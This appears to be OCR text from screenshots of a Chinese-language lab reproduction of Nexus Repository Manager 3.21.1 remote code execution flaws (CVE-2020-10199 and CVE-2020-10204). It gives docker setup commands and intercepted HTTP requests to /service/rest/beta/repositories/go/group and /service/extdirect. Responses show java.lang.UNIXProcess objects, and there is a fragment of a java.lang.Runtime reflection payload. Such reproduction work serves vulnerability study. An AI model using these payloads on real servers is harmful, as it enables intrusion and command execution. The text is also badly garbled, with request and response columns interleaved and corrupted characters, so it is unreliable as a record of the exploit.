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1. AERE

docker pull sonatype/nexus3:3.21.1

2. Bl nexusEHIEB R

mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data

3. izf7nexus dockerE&

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -V
/your-dir/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -
XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-
data -
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=505

0" sonatype/nexus3::3.21.1
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POST /service/rest/beta/repositories/go/group HTTP/1. HTTP/1.1 400 Bad Request

Host: 127 0.1: BOEI Connection: close

Content-Lengt| Tue, 14 Apr 2020 03:12:55 GMT
X=Requested=With: xw HttpRequest : Nexus/3.21.1=01 (OSS)
X-Nexus-UI: true X-Content-Type-Options: nosniff
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15 &) AppleWebKit/537.36 var

(KHTML, like Gecko) Chrome/80.0.39|
NX-ANTI-CSRF-TOKEN: 0.16874197250954115

149 Safari/s37.3% Contant ypc: application/vnd.siesta-validation-errors-vl+json
X-Siesta-FaultId: 302b7767-2dca-déebl-b91b-eBa2bBd671d5

Content-Type: application/json Conten

Accept: */*

Origin: http://127.0.0.1:8081 [{"id":"FIELD memberNay message”: "Member repository does not exist:
Sec-Fetch-5ite: same-origin Ajava.lang. UNIXProcessdcE233dss- }H

Sec-Fetch-Mod cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;qe0.9 [T
Cookie: jenkins-timestamper-offset=-2BB00000;

im_lve_g34eob07e)8430d10a26e33017h3d627=15832495207
NX=. I\‘ITT-(‘QRF‘-THWT‘N

exp — docker exec -it 00b4df2aa714 /bin/bash — docker — doc...
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lang.Runtime').getMethods()[6].invoke(null).ex
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20-10199 hsperfdata_nexus ks-script-ckdclpkg
CvE-Zo2e- Teees  nsperfdata_root
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CVE-2020-10204 (

Z2 8 B AR N B )

Raw Params Headers Hex Raw Headers Hex

POST /service/extdirect HTTP/1.1 HTTPF/1.1 200 OK
Host: 127.0.0.1:8B081 on: close
Content-Length: 300 Tue, 14 Apr 2020 03: 11 30 aMT
XK-Requested-With: XMLHttpReguest Hexus/3.21.1-01 (O

K-Nexus-UI: true 1t-Type-Options: NoaniEs

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_4) AppleWebKit/537.36 Content-Type: spplication/jaonjcharserwuti-g
{KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Options: DEN

NX-ANTI-CSRF-TOKEN: 0.16874197250954115 Length: 197

Cont: Type: application/json
Accept 189 lon":"coreui_Role","method”:"create”, "result”:{"messages”:nul
Origin: http://127.0.0.1:8081 1,"errors”:{"privileges”:"Hissing privilege

false,"data™:[]}, "type”:"rpe"
Sec-Fetch-Mode: cors
Referer: http://127.0.0.

Sec-Fetch-Site: same-origin [Ajava.lang.UNIXProcessE74c67£90] "}, “success
}

® exp — docker exec -it 00b4df2aa714 /binfbash — docker — doc...

bash: ifocnfig: command not found

[{"version nsperfdota_nexus hsperfdata_root ks-script-ckécpkg

,*privileges”
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